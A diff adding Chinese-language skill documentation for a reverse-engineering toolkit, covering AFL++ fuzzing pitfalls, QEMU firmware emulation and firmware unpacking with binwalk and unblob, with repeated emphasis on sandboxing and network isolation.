- 结构化输入(头+长度+数据类格式):初始种子必须覆盖不同结构变体;长度字段在字典里给常见取值;进阶用自定义 mutator(AFL++ `AFL_CUSTOM_MUTATOR_LIBRARY`,Python 示例在 `utils/python_mutators/`),维护校验和/长度的一致性
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-vuln]]:本网关工作流第 2 步固定调用本技能(漏洞挖掘域覆盖率的底座原子)
|
||||
- [[re-crash-triage]]:本技能产出的崩溃输入(`out/crashes/`)交其分析;最小化/去重(cmin/tmin)在其流程内完成
|
||||
- [[re-ctf]]:CTF pwn / 赛题二进制的 fuzzing 引用本技能
|
||||
- [[re-binary-core]]:写 harness 前用反编译确认解析入口与 API 语义([[re-ghidra]] / [[re-ida]])
|
||||
- [[re-netcap]]:网络目标 fuzz 的种子语料来源(真实流量抓包)
|
||||
- [[re-sandbox]] / [[re-analyze/platform-tips]]:fuzz 是动态执行,默认沙箱内跑
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **无插桩无覆盖率**:现象——`afl-fuzz` 跑起来 execs 暴涨但 paths 数不动、从不出崩溃;原因——目标没被插桩(release 二进制 / 编译器不是 afl-* 包装器 / `@@` 传参错误 fuzz 了无关程序);对策——开跑前 `afl-showmap -o /tmp/map -- ./target @@` 验证覆盖率有变化;`afl-fuzz` 启动输出会警告 instrumentation 缺失;无源码改用 `-Q` QEMU 模式
|
||||
- **语料大小失衡**:现象——启动慢、每轮 exec 率低,或早期完全覆盖不到解析逻辑;原因——种子太多太大(队列膨胀)或全是空文件/同一格式变体;对策——`afl-cmin` 去重到几十个覆盖不同分支的最小样本;不同格式变体各留一个代表
|
||||
- **崩溃去重(cmin/tmin)**:现象——`out/crashes/` 堆积上万个文件,实际是同一个 bug;原因——fuzzer 对每个触发输入都存盘,未按崩溃点区分;对策——用 `afl-tmin` 逐个最小化(`afl-tmin -i crash -o crash.min -- ./target @@`),再按 ASAN 报错类型 + 回溯栈合并同类项(见 [[re-crash-triage]])
|
||||
- **sanitizer 配置错误**:现象——真崩溃不报(漏检)或 fuzz 进程被误杀(假崩溃);原因——没开 ASAN(漏 `AFL_USE_ASAN=1` / `-fsanitize=address`)、`-m none` 未设导致 ASAN 内存限制被杀、ASAN 与老版本 glibc 冲突;对策——统一 `AFL_USE_ASAN=1` + `-m none`;`-t` 给足;先手工跑一个已知崩溃输入确认 ASAN 能报
|
||||
- **网络目标需 harness**:现象——fuzz 网络服务二进制,输入从 socket 来,`@@` 文件根本喂不进解析逻辑,覆盖率恒为 0;原因——网络程序读 fd 不读文件,fuzz 通道错位;对策——写 harness 把文件内容直接喂给解析函数(fuzz 的是解析器不是网络栈);真实流量用 [[re-netcap]] 抓包做种子
|
||||
122
vendor-new/rev-skills/.claude/skills/re-fw-emulate/SKILL.md
Normal file
122
vendor-new/rev-skills/.claude/skills/re-fw-emulate/SKILL.md
Normal file
@@ -0,0 +1,122 @@
|
||||
---
|
||||
name: re-fw-emulate
|
||||
description: >
|
||||
固件仿真:QEMU 用户态/全系统。
|
||||
触发词:仿真、QEMU、firmadyne、跑固件
|
||||
capabilities: [emulation]
|
||||
---
|
||||
|
||||
# 固件仿真(QEMU)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要运行固件内程序观察行为/验证假设(固件 web 界面、服务端逻辑)
|
||||
- 用:rootfs 已解出、需要整体启动(全系统仿真)
|
||||
- 不用:只需静态分析([[re-fw-rootfs]] 已覆盖)
|
||||
- 不用:有实物板子且必须真实硬件交互(走 [[re-hardware-io]],硬件提取/接口调试)
|
||||
- 不用:目标只是解包看内容(走 [[re-fw-extract]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。仿真 = 动态执行,默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则);用户态仿真优先(最轻可行方案)。
|
||||
|
||||
### qemu-user —— 用户态仿真(最轻)
|
||||
|
||||
- Linux: `apt install qemu-user` / `dnf install qemu-user` / `pacman -S qemu-user`
|
||||
- macOS: `brew install qemu`(含用户态与系统态)
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `qemu-arm --version`、`qemu-mips --version`(大端)、`qemu-mipsel --version`(小端)
|
||||
|
||||
### qemu-system —— 全系统仿真
|
||||
|
||||
- Linux: `apt install qemu-system-arm qemu-system-mips` / `dnf install qemu-system-arm qemu-system-mips` / `pacman -S qemu-system-arm qemu-system-mips`
|
||||
- macOS: `brew install qemu`
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `qemu-system-arm --version`
|
||||
|
||||
### binfmt_misc —— 直接执行交叉程序
|
||||
|
||||
- Linux: `apt install binfmt-support qemu-user-static`(Debian/Ubuntu 装 qemu-user-static 即自动注册各架构 binfmt 条目;Fedora 用 systemd binfmt 配置);手动注册: `update-binfmts --enable qemu-arm`(或 /etc/binfmt.d/ 配置文件)
|
||||
- macOS/Windows: 不支持,用 `qemu-<arch>` 显式调用
|
||||
- 验证: `ls /proc/sys/fs/binfmt_misc/` 可见 qemu-arm 条目;之后可直接执行 `./rootfs_out/usr/sbin/httpd`
|
||||
|
||||
### gdb-multiarch + gdbserver —— 交叉调试
|
||||
|
||||
- Linux: `apt install gdb-multiarch` / `dnf install gdb-multiarch` / `pacman -S gdb-multiarch`;gdbserver: `apt install gdbserver`(或随 gdb 包提供)
|
||||
- macOS: `brew install gdb`(需 Developer Tools 授权,见 [[re-analyze/platform-tips]] macOS 分支)或 WSL 内 Linux 版
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `gdb-multiarch --version`
|
||||
|
||||
### firmadyne —— 全系统自动仿真框架(思路参考,可选装)
|
||||
|
||||
- 安装: `git clone https://github.com/firmadyne/firmadyne`,依赖 qemu-system-* 与预编译内核(scripts/ 下下载),首次搭建较重
|
||||
- 验证: `ls sources/` 有 getArch.py 等脚本;`which qemu-system-mips`
|
||||
- 多数单程序分析不需要它——用户态优先([[re-analyze/platform-tips]] 先给最轻可行方案)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。
|
||||
|
||||
1. **用户态仿真(最轻,优先)**:
|
||||
```sh
|
||||
file rootfs_out/usr/sbin/httpd # 确认架构:ARM 32/64、MIPS(BE/EL)、RISC-V
|
||||
qemu-arm -L rootfs_out rootfs_out/usr/sbin/httpd # -L 把 rootfs 当 sysroot(动态库/链接器从 rootfs 加载)
|
||||
# 大端 MIPS: qemu-mips -L rootfs_out ...
|
||||
# 小端 MIPS: qemu-mipsel -L rootfs_out ...
|
||||
```
|
||||
缺库报错 → 交叉 `ldd` / `readelf -d` 看依赖,从 rootfs 补库;Web 服务类程序可加 `-E` 传环境变量。
|
||||
- `-strace` 记录客户程序系统调用(等效仿真内 strace——排查 mmap/ioctl 崩溃点直接用它)
|
||||
- `-0 <argv0>` 伪造 argv[0](程序按调用名分支时用);`-cpu <型号>` 指定 CPU(如 `qemu-arm -cpu cortex-a9`)
|
||||
- 跑不起来但静态可分析 → 回 [[re-fw-rootfs]] / [[re-binary-core]],不在仿真上死磕。
|
||||
|
||||
2. **全系统仿真**:
|
||||
```sh
|
||||
# ARM(vexpress 平台)+ 内核与 initramfs:
|
||||
qemu-system-arm -M vexpress-a9 -kernel vmlinuz -initrd initramfs.img -nographic \
|
||||
-append "console=ttyAMA0 root=/dev/ram rdinit=/sbin/init"
|
||||
# MIPS(malta 平台,大端示例):
|
||||
qemu-system-mips -M malta -kernel vmlinuz -initrd initramfs.img -nographic \
|
||||
-append "console=ttyS0 rdinit=/sbin/init"
|
||||
```
|
||||
把 rootfs 制作成磁盘镜像(ext2 挂 root)或 initramfs(cpio 打包 rootfs_out);firmadyne 的脚本就是自动化这套流程。
|
||||
rootfs 已是磁盘镜像时直接挂盘:
|
||||
```sh
|
||||
qemu-system-arm -M vexpress-a9 -kernel vmlinuz -drive file=rootfs.ext2,format=raw \
|
||||
-nographic -append "console=ttyAMA0 root=/dev/mmcblk0 rdinit=/sbin/init"
|
||||
```
|
||||
root 设备名按平台磁盘控制器定(vexpress=mmcblk0、malta 的 IDE=/dev/sda 等,以 `-M` 平台文档为准)。
|
||||
|
||||
3. **外设缺失用 stub/回环**:
|
||||
- 用户态:程序 mmap 固定地址(GPIO/UART 寄存器)崩溃 → `strace` 定位访问点,`LD_PRELOAD` 提供 stub 库返回假寄存器值
|
||||
- 全系统:`-device` 挂虚拟外设(e1000 / virtio 等);真实芯片外设(wifi/基带)QEMU 无法模拟 → 打补丁跳过初始化或 stub 该 ioctl
|
||||
- 先确定程序初始化到哪一步崩(串口输出/日志),再决定 stub 哪部分
|
||||
|
||||
4. **交叉调试(qemu -g + gdb-multiarch)**:
|
||||
```sh
|
||||
qemu-arm -g 1234 -L rootfs_out rootfs_out/usr/sbin/httpd & # -g 起 gdbstub
|
||||
gdb-multiarch rootfs_out/usr/sbin/httpd
|
||||
(gdb) target remote :1234
|
||||
```
|
||||
全系统内:把 gdbserver 放进 rootfs,`gdbserver :1234 /usr/sbin/httpd`,宿主 `target remote <qemu_ip>:1234`;调试手法按 [[re-gdb]]。
|
||||
|
||||
5. **网络隔离下仿真**:
|
||||
- 用户态:不是网络沙箱(socket/connect 经 syscall 转发到宿主内核),需要受控网络时改用全系统方案
|
||||
- 全系统:QEMU 不加网络参数会默认建 NIC(e1000)+ user 后端——先显式 `-nic none` 确认行为,需要受控网络再加 `-nic user,restrict=on`(用户态 NAT,仅模拟出站)
|
||||
- 分析回连/协议前先隔离([[re-analyze/platform-tips]] 最高原则),流量抓包与协议重建转 [[re-protocol]];firmadyne 默认带网卡也需按此原则先行隔离
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-firmware]]:工作流第 4 步固定调用本技能
|
||||
- 架构识别与指令级深挖:ARM(向量表/Thumb/MMIO 外设交叉)→ [[re-arm]];RISC-V(RV32/RV64/ecall)→ [[re-riscv]](选对 qemu-<arch> 前先对照)
|
||||
- 仿真内动态行为观察 → [[re-tracing]] + [[re-gdb]](默认沙箱内,[[re-analyze/platform-tips]] 最高原则)
|
||||
- 固件运行产生通信 → [[re-protocol]];仿真内 ELF 深挖 → [[re-binary-core]]
|
||||
- 仿真不成的程序回退静态 → [[re-fw-rootfs]]
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **外设寄存器访问崩溃**:现象——程序 mmap 固定地址后读 GPIO/UART 寄存器段错误;原因——QEMU 用户态不模拟外设,地址无映射;对策——strace 定位访问点,LD_PRELOAD stub 返回模拟值(步骤 3)
|
||||
- **架构选错直接 segfault**:现象——qemu-arm 跑 MIPS 程序秒崩;原因——没先 `file`/`readelf` 确认架构与字节序(大端 mips ≠ mipsel);对策——步骤 1 先确认,选对 qemu-<arch>
|
||||
- **网卡型号不符 → 初始化卡死**:现象——程序在网卡初始化处挂起不退出;原因——固件按特定芯片初始化,默认挂的 e1000 不匹配,ioctl 无返回;对策——按固件预期加 `-device <型号>` 等虚拟网卡,或先 `-nic none` 观察是否跳过(步骤 5)
|
||||
- **时间戳/时钟函数陷阱**:现象——程序读时间怪异(1970/倒退),行为与真实设备不同;原因——QEMU 虚拟时钟与墙钟不同步;对策——`-rtc base=utc` 固定,或 stub 掉 clock_gettime 相关调用
|
||||
- **网络未隔离就仿真**:现象——固件真实回连外网(C2/升级服务器);原因——QEMU 默认就建 NIC + user 后端(restrict=off),跳过显式隔离即联网;对策——全系统仿真显式 `-nic none`,用户态也非网络沙箱(步骤 5),回连分析前按 [[re-analyze/platform-tips]] 隔离
|
||||
- 命令族速查与操作序列见 [[commands]];工具特有坑与版本差异见 [[gotchas]]
|
||||
@@ -0,0 +1,114 @@
|
||||
# QEMU 仿真命令速查与操作序列(用户态 / 全系统)
|
||||
|
||||
分工:qemu-user(用户态,跑单程序最轻)→ qemu-system(全系统,启动完整固件)→ binfmt_misc(直接执行交叉程序)→ gdb-multiarch(交叉调试)。参数以本机 `qemu-<arch> --help` / `qemu-system-<arch> --help` 为准(版本差异见 [[gotchas]])。
|
||||
|
||||
## 命令族速查
|
||||
|
||||
### qemu-user —— 用户态仿真
|
||||
|
||||
| 用途 | 命令 |
|
||||
|---|---|
|
||||
| 架构对应 | `qemu-arm`(32 位)/ `qemu-aarch64` / `qemu-mips`(大端)/ `qemu-mipsel`(小端)/ `qemu-riscv64` 等 |
|
||||
| 基本运行 | `qemu-arm -L <rootfs> <rootfs>/usr/sbin/httpd` |
|
||||
| sysroot | `-L <path>`(动态库/链接器从 rootfs 加载;缺 `-L` 报 ld-linux 找不到) |
|
||||
| 环境变量 | `-E VAR=value`(可多个;Web 服务常传 `-E LD_LIBRARY_PATH=...`) |
|
||||
| 伪造 argv[0] | `-0 <argv0>`(程序按调用名分支时用) |
|
||||
| 系统调用日志 | `-strace`(等效仿真内 strace,排查 mmap/ioctl 崩溃点) |
|
||||
| gdbstub | `-g <port>`(等 gdb 连接,配合 gdb-multiarch) |
|
||||
| 指定 CPU | `-cpu <型号>`(`-cpu help` 列全部,如 cortex-a9) |
|
||||
| 限定地址空间 | `-B <size>`(guest 地址空间大小,老内核小空间时用) |
|
||||
| 启动即暂停 | `-g` 之外可用 `-d in_asm` 反汇编日志(调试/取证) |
|
||||
|
||||
### qemu-system —— 全系统仿真
|
||||
|
||||
| 用途 | 命令 |
|
||||
|---|---|
|
||||
| 平台选择 | `-M vexpress-a9`(ARM)/ `-M malta`(MIPS)/ `-M virt`(通用)——`-M help` 列全部 |
|
||||
| 内核与 initramfs | `-kernel vmlinuz -initrd initramfs.img` |
|
||||
| 挂磁盘镜像 | `-drive file=rootfs.ext2,format=raw` |
|
||||
| 串口到终端 | `-nographic`(`-serial mon:stdio` 变体) |
|
||||
| 内核参数 | `-append "console=ttyAMA0 root=/dev/ram rdinit=/sbin/init"` |
|
||||
| 网络(显式添加) | `-netdev user,id=n0 -device e1000,netdev=n0`(用户态 NAT,仅出站) |
|
||||
| 网络简写 | `-nic user,model=e1000`(新版推荐;`-net` 旧语法已标记弃用) |
|
||||
| 完全断网 | 显式 `-nic none`(或 `-nodefaults`)——不加网络参数会默认建 NIC + user 后端 |
|
||||
| 虚拟外设 | `-device virtio-net-pci,netdev=n0` / `-device e1000` 等(`-device help` 列全部) |
|
||||
| 固定时钟 | `-rtc base=utc`(避免时间怪异,见 [[gotchas]]) |
|
||||
| 内存 | `-m 256`(按固件需求,常见 64-256MB) |
|
||||
| gdbstub | `-s`(1234 端口)/ `-S`(启动即暂停等 gdb) |
|
||||
|
||||
### binfmt_misc —— 直接执行交叉程序
|
||||
|
||||
```sh
|
||||
# Debian/Ubuntu:apt install binfmt-support qemu-user-static 后自动注册
|
||||
# 手动注册:update-binfmts --enable qemu-arm(或 /etc/binfmt.d/ 配置文件)
|
||||
ls /proc/sys/fs/binfmt_misc/ # 可见 qemu-arm 等条目
|
||||
./rootfs_out/usr/sbin/httpd # 之后可直接执行(等效 qemu-arm -L rootfs_out ...)
|
||||
# 注意:binfmt 直接执行不带 -L sysroot,动态链接程序仍需设置 QEMU_LD_PREFIX 或先解出依赖
|
||||
```
|
||||
|
||||
### gdb-multiarch + gdbserver —— 交叉调试
|
||||
|
||||
```sh
|
||||
qemu-arm -g 1234 -L rootfs_out rootfs_out/usr/sbin/httpd & # 用户态 gdbstub
|
||||
gdb-multiarch rootfs_out/usr/sbin/httpd
|
||||
(gdb) target remote :1234
|
||||
# 全系统内:rootfs 里放 gdbserver,gdbserver :1234 /usr/sbin/httpd
|
||||
# 宿主 (gdb) target remote <qemu_guest_ip>:1234
|
||||
```
|
||||
|
||||
## 常用操作序列
|
||||
|
||||
### 1. 用户态跑单个固件程序(最轻,优先)
|
||||
|
||||
```
|
||||
file 确认架构与字节序 → qemu-<arch> -L <rootfs> <程序>
|
||||
→ 缺库:readelf -d 看依赖,从 rootfs 补(或 -E LD_LIBRARY_PATH)
|
||||
→ 崩溃:加 -strace 看系统调用,定位到 mmap/ioctl 访问点再决定 stub(序列 4)
|
||||
```
|
||||
|
||||
### 2. 全系统启动(initramfs 与磁盘镜像两式)
|
||||
|
||||
```
|
||||
式一(initramfs):cpio 打包 rootfs_out → -kernel vmlinuz -initrd initramfs.img -append "rdinit=/sbin/init"
|
||||
式二(磁盘镜像):dd/ext2 制作 rootfs.ext2 → -kernel vmlinuz -drive file=rootfs.ext2,format=raw -append "root=/dev/<设备>"
|
||||
→ 串口看不到输出先核对 console= 参数与 -M 平台(ttyAMA0=ttyS0 因平台而异)
|
||||
```
|
||||
|
||||
### 3. 仿真内交叉调试(用户态 / 全系统)
|
||||
|
||||
```
|
||||
用户态:qemu-arm -g 1234 → gdb-multiarch target remote :1234
|
||||
全系统:gdbserver 放进 rootfs → 在固件里启动 gdbserver → 宿主 target remote <guest_ip>:1234
|
||||
→ 调试手法(断点/内存/单步)按 [[re-gdb]]
|
||||
```
|
||||
|
||||
### 4. 外设缺失 stub(GPIO/UART 寄存器崩溃)
|
||||
|
||||
```
|
||||
qemu-<arch> -strace 定位首个崩溃访问(如 mmap 固定地址后读 [addr])
|
||||
→ LD_PRELOAD 提供 stub 库:该地址返回模拟值(用户态)
|
||||
→ 全系统:-device 挂虚拟外设(e1000/virtio);真实芯片外设打补丁跳过初始化
|
||||
→ 先确认程序初始化到哪一步崩(串口输出/日志),再决定 stub 范围
|
||||
```
|
||||
|
||||
### 5. 网络隔离下仿真
|
||||
|
||||
```
|
||||
全系统先 -nic none(不加网络参数会默认建 NIC + user 后端)确认行为 → 需要受控网络再加 -nic user,model=e1000,restrict=on
|
||||
→ 回连/协议分析前按 [[re-analyze/platform-tips]] 隔离;抓包与协议重建转 [[re-protocol]]
|
||||
→ firmadyne 默认带网卡,同样先隔离再跑
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 用户态先行:单程序 80% 场景 qemu-user 足够,别一上来搭全系统
|
||||
- `-L` 不匹配的典型症状是 ld-linux 报错——先把 sysroot 指对再谈其他
|
||||
- `-strace` 是仿真内排障第一工具:崩溃/挂起先看系统调用流
|
||||
- 全系统串口无输出先查 `console=` 与 `-M` 平台匹配(console 设备名因平台/内核而异)
|
||||
- 仿真是验证手段不是目的:跑不动且静态可分析就回退静态([[re-fw-rootfs]] / [[re-binary-core]])
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 仿真 = 动态执行,默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)
|
||||
- 架构识别先做([[re-arm]] / [[re-riscv]] / [[re-mips]] 对照),选错 qemu-<arch> 秒崩
|
||||
- 产物与日志 sha256 入档([[re-triage]] 惯例);仿真结论写 [[re-analyze/analysis-contract]]
|
||||
@@ -0,0 +1,43 @@
|
||||
# QEMU 仿真工具特有坑与边界
|
||||
|
||||
## 架构与启动
|
||||
|
||||
- **架构/字节序选错秒崩**:大端 MIPS(qemu-mips)与小端(qemu-mipsel)互跑直接 Invalid ELF/segfault——先 `file`/`readelf -h` 确认;ARM 32/64(qemu-arm vs qemu-aarch64)同理
|
||||
- **-L sysroot 不匹配**:缺 `-L` 或指向错误目录 → 报 ld-linux 找不到/加载器版本不符——sysroot 必须含目标架构的 `/lib`、`/usr/lib` 与动态链接器
|
||||
- **内核与 rootfs 不匹配**:全系统内核必须支持 rootfs 的文件系统与架构(如 ext2 内核没编入 → 挂载失败 Kernel panic)——换内核或换文件系统格式
|
||||
- **console 参数与平台不匹配**:`console=ttyAMA0`(vexpress)vs `console=ttyS0`(malta)——串口无输出先核对,别先怀疑内核坏了
|
||||
- **-M 平台与设备模型耦合**:同一内核在不同 -M 平台(vexpress/virt)下设备树不同——换平台要同步换 -append/root 设备名
|
||||
|
||||
## 外设与内存
|
||||
|
||||
- **用户态不模拟外设**:mmap 固定地址(GPIO/UART 寄存器)后访问直接段错误——`-strace` 定位访问点,LD_PRELOAD stub 返回模拟值(见 [[commands]] 序列 4)
|
||||
- **网卡型号与固件预期不符导致初始化挂起**:固件按特定芯片初始化时 ioctl 无返回、程序卡死——默认挂的 e1000 未必匹配,按固件预期加 `-device <型号>`/virtio;也可先 `-nic none` 确认是否能跳过网络初始化(见 [[commands]] 序列 5)
|
||||
- **内存给太小**:固件按真实内存初始化(malloc 上限/分区表),`-m 32` 可能启动失败——常见 64-256MB 起步试
|
||||
- **时间/时钟怪异**:QEMU 虚拟时钟与墙钟不同步(读时间 1970/倒退)——`-rtc base=utc` 固定,或 stub 掉 clock_gettime 相关调用
|
||||
|
||||
## qemu-user 边界
|
||||
|
||||
- **只仿真用户态指令**:特权指令/内核路径(驱动 ioctl 真实设备)不工作——需要完整内核行为的程序必须全系统仿真
|
||||
- **进程模型差异**:qemu-user 对 fork/线程有支持但受限(老版本多线程程序偶发崩溃)——多线程目标优先全系统
|
||||
- **共享内存/IPC 受限**:POSIX shm、跨进程通信在用户态仿真下不可靠——依赖共享内存的多进程固件走全系统
|
||||
- **-strace 输出量大**:全量系统调用日志可 GB 级——`-strace` 后管道 grep 目标调用(open/connect/mmap)
|
||||
|
||||
## 网络与隔离
|
||||
|
||||
- **qemu-system 默认有网络**:未显式声明网络时 QEMU 会自动创建默认 NIC(`e1000`)与 user 模式后端(`type=user,net=10.0.2.0,restrict=off`)——**分析不可信固件必须显式 `-nic none`**(或 `-nodefaults`)才真正无网络;需要受控出站时用 `-nic user,restrict=on` 或隔离 TAP / network namespace
|
||||
- **qemu-user 不是网络沙箱**:guest 的 socket/connect 经 syscall 转发到宿主内核,可直接访问宿主回环与网络——从 qemu-user 跑出站连接不代表隔离,回连分析同样按 [[re-analyze/platform-tips]] 隔离
|
||||
- **user 模式不是隔离**:`-nic user` 的 guest 出站直达宿主网络栈——回连分析前仍按 [[re-analyze/platform-tips]] 隔离(断外网/fake DNS),firmadyne 默认网卡同样先隔离
|
||||
- **guest 内需要 IP 固定**:user 模式 NAT 的 DHCP/地址分配与固件假设不符时程序初始化失败——`-nic user,net=192.168.x.0/24` 定制网段
|
||||
|
||||
## 版本差异
|
||||
|
||||
- **QEMU 8/9/10/11 世代**:网络配置推荐 `-nic`/`-netdev` 简写(`-net` 旧语法仍兼容但标记弃用);`-device` 支持的外设模型持续扩充;新版对 ARM/MIPS 平台支持更完整(老版可能缺某些 -M 平台)
|
||||
- **qemu-user 与 qemu-system 分包**:发行版拆分为 qemu-user(各架构用户态)+ qemu-system-<arch>——只装其一会出现"命令不存在";Debian 系 `apt install qemu-user qemu-system-arm qemu-system-mips` 按需装
|
||||
- **qemu-user-static**:Debian 系含静态链接的 qemu-<arch>-static(binfmt 直接执行用);普通 qemu-user 是动态链接版,无法给宿主上 binfmt 用
|
||||
- **内核侧**:同 -M 平台下不同版本内核的设备树/驱动行为有差异——固件配套内核缺失时试同架构近版本内核
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 仿真 = 动态执行,默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)
|
||||
- 跑不动且静态可分析就回退静态([[re-fw-rootfs]] / [[re-binary-core]]),不在仿真上死磕
|
||||
- 仿真结果与真实硬件行为有差距(时序/外设/内核驱动)——涉及硬件交互的结论用 [[re-hardware-io]] 验证
|
||||
173
vendor-new/rev-skills/.claude/skills/re-fw-extract/SKILL.md
Normal file
173
vendor-new/rev-skills/.claude/skills/re-fw-extract/SKILL.md
Normal file
@@ -0,0 +1,173 @@
|
||||
---
|
||||
name: re-fw-extract
|
||||
description: >
|
||||
固件提取与解包:binwalk/unblob、magic 扫描、字节序。
|
||||
触发词:固件、binwalk、解包固件、firmware、IoT、MCU、8051、AVR、PIC、MSP430、Intel HEX、.hex
|
||||
capabilities: [firmware-extraction]
|
||||
---
|
||||
|
||||
# 固件提取与解包
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到固件文件(.bin / .img / 升级包 / IoT 镜像)需要解开看内容
|
||||
- 用:需要判断固件打包方式、架构与字节序
|
||||
- 不用:已是文件系统镜像 / rootfs(直接走 [[re-fw-rootfs]])
|
||||
- 不用:需要运行固件观察行为(走 [[re-fw-emulate]])
|
||||
- 不用:需实物板子硬件提取(走 [[re-hardware-io]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。解包与 magic 扫描是纯静态分析,可免沙箱([[re-analyze/platform-tips]] 最高原则);解出产物要运行时转 [[re-fw-emulate]]。
|
||||
|
||||
### binwalk —— 自动解包主力
|
||||
|
||||
binwalk 有两条并存的产品线,装前先分辨:**v3(Rust 重写)是 upstream 当前主线**,**v2(原 Python 实现)属 legacy**,两者的参数集合与模块支持不同。
|
||||
|
||||
- v3(当前主线):按官方 README 的渠道安装——Docker 镜像 / `cargo install binwalk` / 源码构建。upstream 已不再把 pip 当作安装入口
|
||||
- v2(legacy):PyPI 的 `binwalk` 包停在 2.1.0(2015-01),各发行版仓库包同属 2.x 线(Debian trixie 2.4.3、bookworm 2.3.4)
|
||||
- Linux: `apt install binwalk`(Debian/Ubuntu)/ `dnf install binwalk` / `pacman -S binwalk`
|
||||
- pip: `pip install binwalk`
|
||||
- macOS: `brew install binwalk`
|
||||
- Windows/WSL: Windows 本机无官方包,用 WSL 内 Linux 版
|
||||
- 验证: `binwalk --version`——**使用前先确认 major**。本技能的命令示例(`-e` / `-M` / `-E`)在 v2 与 v3 均保留;需要 v3 的其它参数时按实际版本查 `binwalk --help`
|
||||
|
||||
### unblob —— 更准的自动解包(推荐主力)
|
||||
|
||||
- 跨平台: `pip install unblob`(依赖较多,建议 venv: `python3 -m venv venv && venv/bin/pip install unblob`)
|
||||
- 各发行版基本无官方包,用 pip
|
||||
- 验证: `unblob --version`
|
||||
|
||||
### dd —— 按偏移切分
|
||||
|
||||
- Linux/macOS: coreutils 自带(macOS 自带 /usr/bin/dd)
|
||||
- Windows/WSL: WSL 内 Linux 版;Windows 本机用 Git Bash 自带 dd 或 WSL
|
||||
- 验证: `dd --version`
|
||||
|
||||
### hexdump —— 十六进制查看与手工 magic 扫描
|
||||
|
||||
- Linux: `apt install bsdmainutils`(Debian/Ubuntu)/ `dnf install util-linux`(Fedora/RHEL,含 hexdump)
|
||||
- macOS: 自带 /usr/bin/hexdump
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `hexdump -C /dev/null`(无报错即可用;macOS 版无 `--version`)
|
||||
|
||||
### sasquatch —— 老式/厂商魔改 squashfs 解包
|
||||
|
||||
- Linux: 源码编译(`git clone https://github.com/devttys0/sasquatch`,需 `apt install zlib1g-dev liblzma-dev build-essential` 后 `make`)
|
||||
- macOS: 同上源码编译(需 Xcode Command Line Tools)
|
||||
- Windows/WSL: WSL 内编译
|
||||
- 验证: `sasquatch -h` 输出用法(编译产物在仓库子目录,需加入 PATH)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。
|
||||
|
||||
1. **自动解包(unblob 优先,binwalk 兜底)**:
|
||||
```sh
|
||||
unblob firmware.bin # 更准,自动识别 50+ 容器格式并递归解包
|
||||
# 或 binwalk:
|
||||
binwalk firmware.bin # 先列出签名与偏移
|
||||
binwalk -Me firmware.bin # -M 递归 -e 提取
|
||||
```
|
||||
产物:`firmware.bin/`(unblob)或 `_firmware.bin.extracted/`(binwalk)目录。解出的文件系统转 [[re-fw-rootfs]],ELF 转 [[re-binary-core]]。
|
||||
|
||||
2. **magic 手工扫描(自动解包不全时)**:
|
||||
```sh
|
||||
hexdump -C firmware.bin | head -40
|
||||
# 或按 binwalk 报告的偏移核对:
|
||||
dd if=firmware.bin bs=1 skip=<偏移> count=16 | hexdump -C
|
||||
```
|
||||
常见魔数:JPEG `FF D8 FF`、gzip `1F 8B`、squashfs `hsqs`、cramfs `45 3D CD 28`(小端,大端反序)、U-Boot `27 05 19 56`、jffs2 `85 19`、ELF `7F 45 4C 46`。识别出一个就按该格式处理。
|
||||
|
||||
3. **字节序判断**:
|
||||
```sh
|
||||
file firmware.bin # 输出含 LSB/MSB 提示
|
||||
readelf -h <解出的ELF> # Machine 字段 + Data 字段(大小端)
|
||||
strings firmware.bin | head # 可读串确认字节序
|
||||
```
|
||||
大端 ARM/MIPS 固件常见:大端时魔数与字符串按大端编码(如 `hsqs` 反序出现);确认后整个流程按该字节序进行。
|
||||
|
||||
4. **嵌套容器逐层解**:
|
||||
- unblob / `binwalk -Me` 会自动递归,但嵌套(tar 里再 zip、自定义头包着 gzip)常中途断
|
||||
- 逐层手动:先解外层 → `file` 确认内层类型 → 用对应工具(tar/gzip 系统自带;squashfs 用 sasquatch;其他用 [[re-fw-rootfs]] 工具准备的 7z/unsquashfs)再解,直到出现文件系统或 ELF
|
||||
- **结束标记后的附加数据**:图片(PNG `IEND`、JPEG `FFD9`)等格式的结束标记之后常附加容器/压缩流(解析器读到结束标记即停,附加数据对正常查看不可见)——`file` 会把整文件报成图片。**定结束标记位置不能靠裸字节 first/last 搜索**(`IEND` 字样可出现在 tEXt chunk 载荷内、`FF D9` 可出现在 JPEG 的 APP/COM 段内,首个/末个命中都可能是假标记):PNG 从 8 字节签名起按 `Length/Type/Data/CRC` 遍历到结构合法且长度为 0 的 `IEND`,JPEG 从 `SOI` 起按 marker/segment 解析、`SOS` 后按 `FF00` stuffing 与 `RSTn` 处理,取**语法位置成立**的 `EOI`;用解析出的真实结尾偏移去切附加数据(裸搜结果只作候选)
|
||||
- **zip 缺签名也能修复**:附加的 zip 可能缺本地文件头开头的 `PK\x03\x04`(4 字节被剥)——用字段自洽验证:补上签名后 version(常见 20/45)、mod date(年 1980+)、compressed/uncompressed size(与 EOCD/中央目录条目一致)全部合理,且 EOCD 在尾部完好 → 补 `PK\x03\x04` 前缀即完整可解(`unzip` 报 "missing 4 bytes" 或 zipfile `OSError: Invalid argument` 是典型征兆)
|
||||
